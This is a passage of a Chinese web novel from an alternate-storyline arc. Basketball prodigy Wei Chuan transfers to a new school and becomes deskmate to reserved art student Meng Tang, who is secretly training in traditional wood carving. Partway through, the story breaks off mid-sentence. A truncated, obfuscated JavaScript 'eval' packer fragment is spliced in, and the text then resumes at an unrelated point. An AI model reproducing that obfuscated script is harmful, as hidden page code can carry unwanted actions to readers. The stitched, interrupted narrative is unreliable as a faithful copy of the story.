那张课桌看着很干净。 梁璐说:“那是我们孟棠同学的,她上午请假了,待会儿就来了。” 魏川:“……” 前面的男同学,也就是孟棠的同桌转过头,呵笑了声:“擦过的,坐吧。” 魏川无奈地叹了声气,将包挂在椅子上后,趴在桌子上补觉,昨晚一夜没睡。 这节是自习课,但所有人都没什么心思,总是暗戳戳往后面看,梁璐嗓子都快咳哑了。 魏川被铃声吵醒,后排有个男生走过来,问:“魏川,你这个包是LV的定制款吧?要好几万。” 所有人倒吸一口凉气,一个平平无奇的黑色的包要好几万? 魏川说:“不知道,别人送我的,可能是高仿吧。” 他怎么可能不知道,只是不爱显摆罢了。 “绝不是高仿。”男生很识货,“不过我对包没什么兴趣,能看看你的篮球吗?” 魏川眼眸一亮:“你也打篮球吗?” 男生点了点头:“和体育班的会一起打着玩。” 魏川将包的拉链拉开,把篮球递给了他:“那就玩两把。” 男生们很容易就相熟,没一会儿,好几个一起加入,在后排黑板前的空地上逮着一个篮球玩。 场地太小,但也足够魏川炫技了,后排墙上正好安装着一个篮球框,魏川毫不费力就能投进去,几个人也防不住他一个人。 篮球在他手指尖上,转半天也没掉地上。 “我靠,这么牛逼吗?” 魏川勾了勾唇,这才哪到哪,他勾住篮球:“给你们看个厉害的。” 他抬起双手,手腕一动,篮球飞了出去。 本以为篮球会如愿落到讲台一旁的垃圾桶里,结果半路被截胡,直接把人砸懵了。 看样子还是个女生,魏川“卧槽”一声,赶紧跑了过去:“同学,你没事吧?” 孟棠头晕得厉害,她扶住讲台,迷茫地抬起头,露出一张白净漂亮的脸蛋。 魏川一下愣住,眼前的女生十分白净,五官立体,比例极佳,不是一眼惊艳夺目的类型,确实百看不厌的长相。 她的眉毛细而软,是自然的棕色,眼尾微微上翘,眼睛大而圆,鼻子小巧精致,鼻尖是圆的,很有钝感力。 她绑着不算高的马尾辫,额前碎发自然地垂落,望着他的眼神是迷茫的。 魏川闻到了一阵木香,有别于教室里那么多人呼出来的二氧化碳。 天气闷热,开着门窗也没用,教室里依旧难闻,但眼前的女生,好似自带隔离罩。 “孟棠,你没事吧?”坐在第一排的女生担忧地上前,“这是我们班新来的同学,叫魏川。” “哦。”孟棠呆呆地应了声,“我没事。” 只是被砸的那一瞬间有些懵而已。 “我带你去医务室?”魏川拧了下眉头,刚才砸到她的头了,距离很远,他怕把人砸坏了。 “没事。”孟棠摇摇头,“马上上课了,别堵在这儿了。” 其他人全都盯着两人看,孟棠有些不适应。 魏川拿住手机:“给我你的联系方式。” “啊?”孟棠一愣,“要这个干什么?” “万一把你脑子砸坏了,我不得负责?”魏川又往前伸了下,“快点啊。” 男生的语气太过直接,也太过霸道,上课铃都打了,孟棠也只能接过他手机,输了自己的号码。 魏川这才给她让了道,结果发现她就坐自己前头。 回到座位上,魏川将她号码保存下来,发现没有备注,伸手戳了下她:“你叫什么名字?” “孟棠,孟子的孟,海棠的棠。” 魏云舟点点头,写了备注保存了号码。 这节是数学课,孟棠刚拿出卷子,后背又被人戳了下。 “你要是不舒服一定要说啊。” 孟棠敷衍地点了点头,眼见老师望过来,她将凳子往前动了动。 魏川失笑,自己是洪水猛兽吗? “那位同学,你干嘛呢?” 所有人往后看,魏川指了指自己:“我吗?” “就是你,站起来,你是新来的?” 魏川站起来,点了点头:“是。” “你一直骚扰前面的同学干什么?” “什么叫骚扰啊?数学老师的语文也不好吗?”魏川不喜欢这个说法,“我刚才不小心用篮球砸着人家了,我关心一下而已。” 数学老师有点下不来台,直接沉了脸色:“下课的时候干什么了?” 魏川往前努努嘴:“下课的时候把她砸着了啊。” 教室里一阵哄笑,数学老师丢了面子,用三角尺拍了下黑板:“上来把这道题解一下。” 魏川不太爽,他还没见过这种老师。 他以前在z市的时候,老师的情绪都十分稳定。 孟棠拽了下手指,她能感觉到新来的同学脾气不太好,言行举止都透着漫不经心的傲气。 教室里的空气凝滞了一瞬,这件事牵扯到自己,孟棠做了个深呼吸,站了起来。 “我去做吧,他是新来的,书都还没有呢。” 数学老师蹙眉,魏川离开桌位,一把按住孟棠的肩膀,让她坐了下去。 他上去看了眼题目,大手一挥,三下五除下写好了步骤和答案。 解题思路明确,数学老师干咳了声:“坐下吧。” 魏川哼笑一声,路过孟棠的时候还朝她得意地挑了下眉。 孟棠:“……” 数学老师的课枯燥又无趣,魏川一个劲地打瞌睡。 等到下课,他已经彻底睡了过去,还传出来细微的鼾声。 孟棠听得一清二楚,这人胆子是真大。 前门被人重重敲了两下:“孟棠,魏川,梁老师让你们去她的办公室一趟。” 孟棠倏地站起来:“我吗?” “对,把魏川也叫着。” 孟棠转过身体,喊了两声没人应答,她只能伸手推了下他,依旧没什么反应。 男生可能吃劲儿,孟棠又用了点力道,魏川“嘶”一声,睁开了眼睛。 四目相对,他懒洋洋道:“你按住我伤口了。” 第357章 【if线 2】留守儿童 孟棠猛地缩回手:“对不起。” 看着不像受伤,倒像纯粹不爽。 魏川“啧”了声:“什么事?” “梁老师让我们过去一趟。” 魏川起身:“走。” 一看就不好惹,孟棠默默跟他拉开了点距离。 岂料刚出教室后门,魏川突然停了脚步,孟棠来不及刹车,撞他后背上了。 孟棠仰起头,费力地看着他:“不好意思,你突然停下来了。” 魏川往走廊指了指:“你在前面走,我不知道梁老师的办公室在哪儿。” 孟棠点了点头,越过他径直往前。 梁璐的办公室就在三楼,教学楼一共五层,老师们在三层可以上下都顾着。 到了办公室,孟棠敲了下门。 梁璐抬头,示意他俩进去。 办公室老师没几个,好奇地打量了魏川两眼。 梁璐问孟棠:“你被篮球砸了?” 孟棠点了点头:“没事,已经不疼了。” 梁璐应了声:“我呢,想给你俩调个位置,不知道你们怎么想?” 魏川看了眼孟棠,问:“怎么调?” 他这么大个子,只能做最后排。 梁璐说:“让你俩坐一起,张澄我调到另一边。” 张澄是孟棠的同桌,闻言,孟棠有些不情愿,谁曾想魏川一口答应了:“行啊,我没意见。” 孟棠的课桌是干净的,身上的味道他也喜欢,最起码能驱散一下班级里的二氧化碳。 孟棠的话堵在喉咙,只得同意。 梁璐朝魏川点了点头:“你先回教室吧,跟张澄说一声,让他跟周飞坐。” 魏川应了声,转头走了。 梁璐对孟棠笑了笑:“对于我的决定有异议?” 孟棠犹豫了片刻,说:“要不我一个人坐吧,让他和张澄坐。” 两人都是外向的性格,更适合坐在一起。 “他俩坐一起还不得把天花板捅翻了。”梁璐说,“你看魏川,来半天还没有,就把你给砸到了,已经和一群男生打成一片了,你就适合这样的同桌。” 张澄平时虽然也外向,但面对孟棠总有几分拘谨,两人坐一起一个月了,愣是没说几句话。 孟棠的情况她了解一些,话不多,也没什么要好的朋友,不知道是不是太过优秀,总是独来独往。 “魏川不是什么坏孩子,高一就带领校队拿下了z市中学生篮球联赛的冠军加MVP,后来入选省中学生的最佳阵容,随省队打进全国中学生篮球锦标赛的八强……还有很多荣誉加身,是个打篮球的好苗子,这次被人设计犯了错,没办法才来了雁清,心里压着气呢,所以看着不太好惹。” 她一开始也觉得是个刺头儿,但见了魏立峰一面,这个想法就没有了。 一个温和强大,礼貌斯文的父亲,不会养出狭隘的孩子。 魏川才17,年纪轻轻的,有脾气是正常的,他遇到的还不是窝火的事情,而是会影响他未来职业生涯的大事,心中郁闷,进而表现在言行举止上实属正常。 她已经跟各科的老师都打了招呼,多关照一下。 不过没想到数学老师还是不近人情,不过听班长说了原委后,她当即就做了让他俩同桌的决定。 魏川的性格主动性太强,需要一个沉稳安静的同桌收敛他的注意力,而孟棠也需要一个热情的同学带着她融入集体生活。 回到教室后,孟棠发现张澄已经搬走了。 她愣了下,魏川的效率这么高的吗? 魏川朝她伸手:“同桌,多多指教。” 孟棠没去握,只是尴尬地笑了笑:“好。” 魏川收回被忽略的手,安慰自己是男女授受不亲。 孟棠的课桌在里面,她坐下后拿出下一课的书本。 魏川偏头瞥了眼,文文弱弱的,拿本书的动作跟猫似的轻。 他刚要收回视线,被她翻开书的手吸引了目光,那双手不像一个十六七岁高中女孩的手。 和她的脸相比,孟棠的手算不上白皙,指关节也比一般女生粗大,骨感分明。 食指与拇指的指尖,有一层很厚的茧,内侧还有一道浅色的疤痕。 再细看,那双手上都是密密麻麻的伤痕,新陈交替。 魏川愣住了:“你的手……” 孟棠下意识攥紧拳头,没理会他。 魏川自知失言,觉得自个儿可能伤到她自尊了,一时间也没再说话。 下课后,魏川走到张澄面前,对他招招手:“你过来。” 张澄一脸懵:“你叫我?” 魏川知道他的名字,手臂搭上对方的肩头:“我请你喝水,顺道问你件事。” “不用,你直接问吧。”张澄哪好意思让新同学请客。 魏川将他拉到走廊上,随后回眸瞥了眼孟棠,话到嘴边又咽了下去。 他突然发现自己很奇怪,为什么要逮着张澄问孟棠的事?跟他有关系吗? “你要问什么?” “呃……问晚自习。”魏川噎了下,“必须要上吗?” 张澄惊了下:“你不用上晚自习?” 魏川摇摇头:“不用啊,我下午四点就返学了。” 放学后再进行篮球训练。 “我靠,咱班来了个贵族少爷。”张澄惊讶地张大嘴巴,“我们晚自习要到九点半。” 魏川:“……就在教室干坐着?” 张澄摇摇头:“不用,大多数会在专业课的教室里,比如学美术的就在画室,也有一些人会在班上做试卷,周一和周五晚自习必须都在教室里刷题,今天是周一。” 又一阵烦躁来袭,魏川问他:“学校的操场在哪里?” 张澄将他拉到走廊的小窗前,抬手指了指:“操场就在这里,画室的对面就是操场。” 操场上有灯,很亮,魏川隐隐约约看到一栋楼。 “画室是后建的,就在靠围墙的位置造了个小楼,每次上体育课,都有美术生站在窗口故意喊腹肌。” 魏川下意识垂眸,腹肌嘛,他倒是有。 张澄见状,问他:“你有啊?” 他当然有,不过魏川没有显摆,转移了话题:“晚上可以去打球吗?” 张澄说:“今天周一,应该不行,再说了,你一个人怎么打?” “你们学校有过篮球队吗?”魏川又问。 张澄答:“以前有过,但后来比赛成绩不好,经费和场地资源不足以运营就没了,以前篮球队的活动区域都划分给了体育生。” “如果我有钱组建球队的话,你觉得会成功吗?”魏川指了指自己。 这得要多少钱,张澄又惊讶了一把,说:“球队哪里是说组就组的,首先我们已经高二了,大家都有升学的压力,卷子都做不过来,怎么可能会有人跟你去搞球队啊。” “再一个,你也没有师资力量啊。” 魏川蹙了蹙眉,资金和师资力量完全可以用钱解决,但张澄说的第一个理由确实是个问题。 雁清中学都没篮球队,就算有些人想打,也只不过玩玩而已,不是冲着比赛和梦想去的。 魏川回了座位,心情有点低落。 老师进来他也没看见,就光坐着出神。 梁璐叫了他好几遍,他也没听见,孟棠实在没办法,推了推他。 他蹙着眉转过头,用眼神询问干什么? 孟棠说:“老师叫你。” 魏川这才知道班主任进了教室,他起身走过去,是梁璐给他拿了书本,还有一堆的试卷。 “九点半放学,这三张试卷你从现在开始做,明天早上我要收上来。” 三张试卷自然是主科的试卷,魏川接过,问了句:“摸底啊?” 梁璐点了点头:“我听说你成绩很好。” 本来想出去打球的魏川应了声,转头回了座位,结果笔都没有。 他看向自己的左边,眼神希冀。 孟棠察觉到,看了过去。 魏川干笑了声:“能不能借我支笔?” “……”上学的人,竟然连笔都没有,孟棠从笔袋里掏了一只黑色的水笔给他。 “谢谢。” 没见过笑起来那么甜的男生,孟棠有瞬间的恍惚,随即归于平静。 没一会儿,整间教室里只剩下鼻头摩擦纸张的声音,魏川大致看了眼题目,没觉得有多难。 英语听力暂时要空着,班主任说了这个不用做。 英语试卷很快做好,紧接着他又开始做数学卷,数学不算难,就是计算过程很多,耽误了点时间,看来语文只能带回家写了。 还没熬夜写过作业,真是人生头一回,竟然还有点稀奇。 等到晚自习下课,魏川将笔还给了孟棠:“谢谢,不过你这支笔在哪里买的?挺特别的。” 孟棠说:“自制的。” “自制?”魏川有些惊讶,“你别是诓我的。” 孟棠收拾好书包,说:“外面有很多文具店,你可以去买。” 说完,她背着书包起身:“请让一下。” 让什么啊,他这不也走了吗? 魏川拿起自己的包,将椅子放到桌肚,给她空出一条道儿。 他们距离后门近,也就顺势从后门出了教室。 刚放学,很拥挤,魏川在孟棠的身后,也许是他个子高,身躯广大,孟棠竟然觉得没有以前放学时候挤。 一点一点走到了一楼,两人一前一后出了校门,结果校门口又开始堵了起来。 就在魏川还以为大家在看什么时,他家司机穿着西装,戴着白手套在车旁恭敬地等他,仪式感满满。 他比那辆500万的车都要高调。 魏川立马挡住了自己的脸,抓着孟棠的肩膀贴着墙根躲了下,不给她说话的机会,他直接问:“我第一次来,不知道文具店在哪儿,你能不能告诉我?” 孟棠动了下肩,他立刻反应过来,松开了她:“抱歉抱歉。” 孟棠指了指前面:“沿着这条路走,一整排都是文具店。” 魏川心不在焉应了声,迅速回头看了眼,见司机还在那儿等着,无奈地拿起手机,拨了个电话。 电话接通后,他差点没翻白眼:“大哥,谁让你开这车过来的?咱家的奥迪呢?” “太太非要我开这车过来的。”司机也很冤枉。 魏川闭了闭眼:“你现在立刻掉头回z市,明天把我的自行车带过来。” 孟棠算是听明白了,敢情校门口停着的豪车是这位少爷的。 少爷不是高调的人,还被司机整社恐了。 怪不得他刚才一直在躲,孟棠勾了勾唇,觉得有些好笑,尤其是刚才魏川躲司机的样子。 很快走到了文具店门口,魏川和孟棠告了别,他故意磨蹭了点时间,出来的时候,马路上果然没有了多少人。 终于上了车,魏川舒了口气,跟司机说:“我待会儿回去给我妈打个电话,让她别折腾了,低调点没坏处。” “先生也是这个意思,但太太不听,我也只能把这车开过来。” “你比对着今晚校门口的那些车就行。”魏川说,“这里又不是z市。” 司机连忙应了声。 “算了,你还是回去吧,把我自行车送过来就行,我以后自己骑车上下学。” 司机哪里能做主,说回去和太太商量一下。 那他妈妈肯定不同意啊,魏川瞥了眼窗外,看到了孤身一人的孟棠,他这才意识到,她没有人来接,也没有坐公交车或者骑车。 就在他想要载她一程时,孟棠转了弯。 魏川若有所思地问司机:“你说一个女生,晚上放学没有家长来接,这是什么情况?” “留守儿童?” “……不至于让她一个人在家里吧?” 说完,魏川突然愣了下,还真有可能。 “你说一个女生手上都是老茧,又是怎么回事?” 司机默默回答:“干活导致的?” 这不就连上了?魏川恍然大悟,孟棠可能真是留守儿童,家里的活计全都落在她一个人身上了。 不然绝不会是那样一双粗粝的手,哪个小姑娘的手是那样子的? 也就是说,她要自己照顾自己,洗衣做饭,房屋清洁,还要兼顾学业。 越想,魏川越是心惊,莫名觉得对方很可怜。 可怜的人回了大宅,还没坐下,一盅银耳羹就被保姆送到了唇边。 孟棠指了指桌案:“方姐,放这里,我待会儿就吃。” “还忙呢,都十点了,赶紧睡觉。” “好,爷爷睡了没?” “刚睡下。” 孟棠点了点头:“你去睡吧,我把刻刀擦一遍就睡。” 第358章 【if线 3】吃吗 雁清中学要求学生早上六点半到校,孟棠通常提前一个小时起床。 将近六点,她正好坐下吃早饭。 老爷子年纪大了,起得比孟棠还早。 孟棠的爷爷叫孟遇春,黄杨木雕大师,走传统路子,技艺登峰造极。 不过也有不少创新派抨击他太过守旧,总说时代在发展,创新才是这些传统工艺的生存之道。 每当有人这样讲,孟遇春只有两个字:狗屁,最多再加一个“滚”字,多余的没有了。 孟棠是下一任黄杨木雕的非遗传承人,孟遇春既是她祖父,也是她师父。 耳濡目染,她也对传统技艺有着近乎偏执的敬畏。 “昨晚几点睡的?”孟遇春看了眼孟棠。 孟棠抿了抿唇:“12点。” “哼,怕是不止。”孟遇春说,“跟你说不要超过12点睡觉,就是不听。” “就超了十分钟。”孟棠说,“没差。” 孟遇春又哼了声:“再超过十二点睡觉,直接让方姐给你停电。” 孟棠抓了个鸡蛋起身:“爷爷,我上学去了。” 学校离得不远,走路十五分钟,孟棠基本都靠腿走,每天来回算是锻炼。 刚出门,手机震动了声,不是闹钟,孟棠拿出来一看,不禁为冒昧的信息而微怔。 她的新同桌太自来熟了,松弛感满满。 她的短信栏里赫然躺着一条新信息:【你能不能帮我请个假?我八点再过去。】 孟棠缓了步子,给他回:【自己请。】 魏川:【我没有梁老师的号码,只有你的号码。】 孟棠去通讯录里找了梁璐的号码给他发送了过去。 之后也没管魏川请不请假,径自去了学校。 结果早自习的时候,魏川也到了。 孟棠被突然坐下来的人吓了一跳,下意识扭过了脸,他不是请假了吗? 魏川叹了声气,不知道是看穿她的眼神,还是自言自语:“梁老师不让请假。” 为表礼貌,孟棠“哦”了声。 魏川捂了下肚子,为了在六点半之前赶到学校,他早饭都没吃,这会儿饿得发慌。 肚皮叽里咕噜响起来,魏川一脑门嗑桌上,过的什么苦日子。 这里太有束缚感,按部就班,每一步都得按照规章制度走。 忽然,胳膊被人碰了下。 魏川抬眸,孟棠指了指桌子:“吃吗?” 顺着她手指的方向,魏川这才发现自己的桌上多了面包饼干和牛奶。 “你的?”魏川拿起面包撕开,“你怎么知道我没吃早饭?” 孟棠:“……” 你可以表现得再明显一点。 “多少钱,我转给你。”魏川拆了牛奶,狼吞虎咽起来。 “不用。”孟棠摇了摇头,“没多少钱。” “对。”魏川噎了下,好不容易用牛奶带了下去,“昨天梁老师还让我俩团结友爱了,以后你有什么事跟我说,我一定给你办到。” “……好。”孟棠略有敷衍。 上午都是文化课,魏川成了各科老师关注的重点,毕竟本身就有一堆荣誉,文化课不拖后腿,高等学府是手到擒来的事情。 魏川这个人,适应环境是很快的,他心里虽然还是不爽来到雁清,但这件事情已经无法改变,便只能去面对。 从小开始打篮球,每天训练不缺,大伤小伤无数,魏川最不怕的就是困难。 他必须要在这里组建一支球队。 上午四节课,魏川注意力挺集中的,不过他更期待下午的专业课。 因为学校没有篮球队,而他又需要训练,只能暂时和体育生混合在一起。 魏川拿了篮球出了教室,和孟棠正好顺路。 他自来熟,嘴巴不闲着,直接问:“你去画室?” 孟棠点了点头,下午半天都要泡在画室里,有一组静物写生。 两人在分岔路口道了别,刚走没两步,有人叫了孟棠的名字。 孟棠转头一看,是画室的梁菲菲,她是梁璐的侄女,是隔壁16班的。 两人是一个画室,平日里关系还不错。 孟棠放慢脚步等她,梁菲菲挽住孟棠的胳膊,回头看了眼远去的魏川。 “你跟你们班新同学一起来的?”梁菲菲神情八卦。 “顺道,”孟棠说,“不算一起。” 毕竟她跟魏川也不熟悉。 “顺道?你跟哪个男生顺过道啊?”梁菲菲才不信,“他不会看上你了吧?” “……你胡说什么?”孟棠心脏一跳,“我俩是同桌。” “我去,我姑真会安排,也不怕你俩早恋。” “……梁菲菲!” “我错了我错了。”梁菲菲拍了下自己的嘴巴,“我口无遮拦。” 孟棠拿她没办法,生怕她又口出狂言,主动找了话题:“你对他很感兴趣?” “帅哥诶,谁不感兴趣啊?你知道他是谁吗?”梁菲菲的语气带着跃跃欲试的安利。 “谁啊?”孟棠被她勾起了好奇心,“不就是转学生吗?” “nonono……”梁菲菲伸出食指摇了摇,“那可是z中扛把子的校草。” 孟棠对于魏川校草的名头没有丝毫异议,毕竟第一眼,她就被惊艳了一下。 他的五官只能用四个字来形容:浓墨重彩。 看班里的女生就知道他有多好看,她们只敢用余光暗戳戳的瞥,连说话都不敢大声。 “我听姑姑说他是打篮球的,回去搜了一下,不得了,从小到大的奖项荣誉,挂满了三张网页,目标是进全国强队,冲击职业联赛。” “关键是人长得又高又帅,z中喜欢他的女生从这里排到法国,真的丝毫不夸张。” “你怎么连这些都知道?”孟棠惊讶了一瞬。 在自家学校消息灵通也就罢了,怎么还知道别的学校的事? “你看这个。”梁菲菲拿出手机,“这是他的账号,三个平台都有,粉丝最多的一个平台都快十万人了。” 孟棠惊了下:“这么多粉丝?他是干什么的?” 梁菲菲:“……我刚才说的,敢情你一句也没听进去啊。” 孟棠干笑了声:“哦,想起来了,打篮球的。” 梁菲菲嗯了声:“在z中,他可是明星球员,红得很,这次来雁清是因为打架。” “打架?”孟棠还没明白,“打架就要转学?他不会把人打残了吧?” 梁菲菲说:“是对方打脏球在先,还屡次挑衅,买通裁判,魏川没忍住动了手,可能太生气,劲用大了,人现在还躺在床上,听说小腿受了很严重的伤,以后能不能打篮球都不一定。” “那是挺严重的,不过凡事都有因果,这个受伤的人某种意义上来说是他自己伤了自己。” 进了画室,不少同学已经到了。 老师也在,梁菲菲不好再拉着孟棠说什么,只能偷摸地将画架和画板拖到孟棠旁边。 “你干嘛呢?”一不小心,被老师逮到了。 梁菲菲嘿笑:“我坐孟棠身边学习学习。” 今天要画的是一组静物写生,静物台上早就摆好了陶罐,水过和白色衬布。 今天还打了光,要把光影效果也表现出来。 一个下午,基本都能画完,时间来得及的话,老师会当场一张一张去讲,时间来不及就晚自习的时候再一一打分改画。 不过连续四五个小时坐着,是个铁人也受不了,中途会有点休息时间。 美术这个东西,让你抄你也抄不明白,这完全是个人的技艺能力。 梁菲菲放下笔,伸了个懒腰:“我不行了,你也赶紧歇一会儿吧,手疼**。” 孟棠终于停了笔,她每天还要握刀,手腕更是疼得绑绷带。 忽然,画室的窗口挤作了一团,一群女生兴奋地蹦着脚。 “你们看什么呢?”梁菲菲喊了声。 “快过来,体育生组队打篮球呢。” 体育生?梁菲菲一听,问孟棠:“魏川吗?” 孟棠摇了摇头。 “走,看看去。”梁菲菲抄起孟棠的胳膊起身,“屁股都坐疼了。” 孟棠被她拉着挤到了窗口,砰砰砰——篮球撞击地面,节奏感十足,她却脑门一紧。 那一球的威力还留有余韵,她当时有一瞬间,是被砸懵的。 篮球场就在画室的窗口下,后建的画室,位置有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“他有女朋友吗?” 孟棠一愣,摇了摇头。 “没有啊?”女孩们一喜。 “不是不是。”孟棠忙道,“我不知道啊,我跟他不熟。” 梁菲菲在一旁偷笑,没敢告诉她们,孟棠和魏川是同桌,不然孟棠准得被她们烦死。 “我靠,他又进球了,我感觉对面都打急眼了,几次想上手。”男生一句话,引得女生们顾不得闲聊,全都扒着窗户继续看。 说实话,感觉魏川在场上有点欺负人了,不过他很擅长调动全队和他打配合。 那个一路狂奔,迎着太阳光的少年笑得灿烂无比,看到的人无一不被这一刻的肆意昂扬而触动。 孟棠感触更深,她看魏川,觉得他像一只被放出笼中的鸟。 “真的好帅啊,要是没有女朋友我就追了。” 孟棠下意识看向窗口披头散发的女生,她是16班的,长得很漂亮,是美术生,审美好爱打扮,不少男生都喜欢她。 “你来真的?人家z市转来的,能看上你吗?” “我靠,我怎么了?把他说得像城里人,把我说得像农村人。” 这个比喻太好笑,孟棠没忍住牵了牵嘴角。 最后一球再次落网,魏川投了个空心三分,其中有个胆子大的乐子人朝着球场喊:“**,好帅啊。” 不管是画室还是球场,全都笑声一片。 魏川从一旁的地上拿起了一瓶水,拧开后咕噜咕噜全都喝完了。 汗水顺着他下颌线滑落,他下意识伸手捞起衣角,随意在脸色抹了一把。 “啊啊啊……” 孟棠被突如其来的尖叫声吓了一跳,只见梁菲菲看见什么似的指着窗外:“我靠,腹肌。” 孟棠:“……” 欢呼声逐渐平息,魏川这才慢条斯理抬了下头。 窗口一堆人里,他一眼看到了孟棠,于是抬起手,朝她挥了挥。 孟棠呼吸一顿,他在跟她打招呼? 女生们下意识也朝他挥手,哪知魏川摆了摆手,指了指她们身后。 梁菲菲将孟棠推上前,喊道:“你找孟棠啊?” “找**什么?”孟棠下意识往后退。 魏川撸了把汗湿的发,直接跑了过来。 第359章 【if线 4】难吃 “我靠,他过来了。”梁菲菲伸长脖子。 其他人,魏川不认识,他只认识孟棠,他在楼下仰着头问孟棠:“你有没有湿纸巾?借我一下,球鞋脏了。” 待会儿他自己要训练,训练完要去食堂,等回到教室才能去擦他的鞋子,魏川有点忍不了,今天穿的还是白色的。 一个上来凑数的男生技术不行,总踩他脚。 “她有。”梁菲菲替孟棠回答。 魏川朝孟棠伸手,孟棠口袋里正好有一包湿纸巾,从窗口扔给了他。 “谢了。”魏川笑了声,拿着湿纸巾走了。 “孟棠,你俩很熟吗?他不是刚转过来?” 主要孟棠平日里不大说话,很安静,跟老同学都始终客气疏离,更别提和新同学熟稔了。 “不熟。”孟棠看了眼门口,“老师来了。” 所有人回到位置,接着静物写生。 孟棠松了口气,拿起画笔继续未完成的画。 学校规定,走读生晚餐也得在学校吃,因为晚上有晚自习。 但是让魏川没想到的是,食堂的菜能那样难吃。 他拿着筷子,捏着勺子,像块僵硬的石头。 和他一起吃完饭的还有几个体育生,有17班的,也有别的班的。 “川哥,你怎么了?” 一个下午,大家被他的球技折服,哥也叫上了。 魏川干笑一声:“你们平时都吃这个饭?” “是难吃了点,但不吃饿啊,待会儿去超市再买点零食。” 魏川:“……我不吃零食。” 他们训练队体能体脂率都有要求,他一日三餐符合清淡有营养的标准就行。 但雁清中学的食堂营养是有了,就是这味道实在让人受不了。 “零食都不吃,要这么自律吗?” 魏川也懒得解释他以后还要打篮球的,看着餐盘里的饭菜,他忍了忍,还是起身端走了,生平第一次浪费食物,被他爸爸看见又得说他。 孟棠从画室出来,和梁菲菲直奔食堂。 却在门口和魏川撞了个正着,因为惯性,孟棠整个人向后仰,要不是梁菲菲托了一把她的腰,她非得摔个头朝地。 “我说你怎么走路的?”梁菲菲横眉冷对。 “抱歉。”魏川下意识伸手去扶孟棠,“你没事吧?” 孟棠真想叹口气,每次跟魏川对上,她非得受点惊吓不可。 “我没事。”孟棠摇摇头。 魏川看着她:“你真没事?” “没事,你吃过饭了?”孟棠转移话题,省得他又要带自己去医务室。 魏川的表情实在一言难尽,他为难地看着孟棠,说:“你每天晚上都吃这样的饭菜?” 孟棠看着他略微委屈的模样竟然想笑。 梁菲菲看向他:“饭菜怎么了?很难吃?” 魏川反问:“你们觉得好吃吗?” 梁菲菲说:“还行,也不算难吃吧。” 魏川瞪大了眼睛:“还不算难吃?那个花菜惨白白的,配合腻**的肥肉,青椒炒鸡蛋,青椒是软的,鸡蛋是腥的,还有那个汤,一个鸡蛋得做三大锅吧?你们没交伙食费吗?这也不闹?” 一长串的控诉说得梁菲菲和孟棠一愣一愣的。 “呃。”梁菲菲和孟棠对视了眼,“那你以前吃的什么?” 魏川不说话了,这里学费一个学期1500,他在z市一个学期15万。 “吃的都一样,口味不一样。”魏川说,“晚上还不让出去吃饭,怪不得食堂空掉一大半。” 说完,魏川和她俩告了别。 他很郁闷,去超市买了酸奶和水,一个人随意找了块地儿坐下玩手机。 好久没登录游戏,刚一上线,队友就发来了“以为他**的”的问候。 魏川解释了一下,直接组队开干。 玩了一会儿,心情得到了点释放,准备再打两局时,家里打来了电话。 魏川接了,有气无力地“喂”了声。 “小川,你在那边还习惯吗?” 是他妈妈楚茵。 魏川当即告状:“不习惯,这里的晚餐太难吃了,妈,我就喝了一瓶酸奶。” “那怎么行啊?我这就给你们校长打电话。” “不用了,有点事就找校长,干脆让我一个人一个班得了。” 楚茵:“……晚上不能回去吃吗?” “不能。”魏川百无聊赖地拔着身边的草,“晚上时间太短了,对了,我爸回来了吗?” “刚回来,你找他啊?” “妈,你把手机给他吧,我想跟他聊两句。” 楚茵将手机给了魏立峰。 魏立峰接过,“喂”了声。 魏川哼了声:“我热,教室没空调;我饿,食堂的饭菜太难吃;我想打球,可是球场坑坑洼洼的。” “嗯,还有呢?”魏立峰笑了声。 “还有……我想组建篮球队,我需要资金,需要教练,需要场地。” 魏立峰沉默了下,说:“这才是你要说的吧?” 魏川折断青草,说:“只要你答应我第三个,前面两个我就当没说过。” 他可以坐在没有空调的教室,也可以吃卖相口味不佳的饭菜,但不能没有场地打球。 他要是真在雁清废两年,大学也别指望打cubal了。 魏立峰说:“这些都会有,不是我嘴皮子一碰就能立刻给你办好的,但最多半个月,前两件事给你落实。” 魏川笑了声:“你还是爱我的嘛。” “滚蛋,听着肉不肉麻,没事就挂了。” 魏川应了声,挂断了电话,他刚要起身,身后的门被人惊慌失措地撞了下。 他坐着的地方是美术器材室的门口,里面大多都是画板、画架、各种美术道具。 从食堂回画室会经过这里,只不过经过的是前门,他坐着的地方也不算是后门,而是侧边的一个台阶,不知道怎么盖的房子,后面有个没什么用的破门。 孟棠就是经过时见他在打电话,犹豫着过不过的时候被他发现了。 “怎么就你一个人?”魏川觉得孟棠有点胆小,于是笑了声,“你同学呢?” “回教室做卷子去了。”孟棠说,“这里不让久留,你还是回教室吧。” 魏川眼眸一转:“你是不是偷听我打电话了?” “谁偷听你打电话了?”孟棠十分冤枉,“我路过这里绘画室,不是故意的。” 魏川干咳了声:“你听到多少?” 孟棠看天看地就是不看他,魏川就知道英名全毁,她听全了。 仔细回忆了下,他的语气应该挺正常的吧?没有无理取闹,也没有撒娇讨好。 两人面面相觑片刻,错开了视线。 “我先走了。” “等一下。”魏川追上去,“你们画室有空调吗?” 孟棠点了点头:“有一台。” “我能去你们画室吗?”魏川说,“教室太热了。” 孟棠一时间不知道怎么回答他,首先她没有权利拦着他去哪儿,第二她也没权利带不是画室的人进去。 看出她脸上的为难,魏川说:“还是算了,你们画室外人应该也不让进,我还是回教室吧。” 孟棠点了点头,两人就此分离。 只不过晚上画画,她有些心不在焉。 她从来没有见过魏川这样的男生,或者换一种说法,是身边不管男生还是女生,和父亲的关系全都隔着一层。 他却能自然而然地撒娇,要东要西,可见平日里在家极为受宠。 这也不是因为有钱才这样,周围也有不少家境好的人,但父亲这个角色,在家庭中依旧是威严的代名词。 他们不会同孩子玩耍,除了提供物质基础外,剩下的多是一些大道理。 可魏川和他父亲,相处得太自如了。 梁菲菲用画笔敲了下孟棠的画板:“发什么呆呢?” 眼见老师不在,孟棠忽然问她:“你跟你爸爸关系怎么样?” “水火不容。”梁菲菲略带夸张地说,“他那人太**了,家里人都要听他,我不喜欢,你问这个干什么?” “没事。”孟棠摇摇头,“只是遇到一个父子关系很融洽的一个人,还是个男生。” 梁菲菲惊奇了:“这年头还有男生跟爸爸的关系好的吗?” 话虽然夸张,却是大多数人的现状。 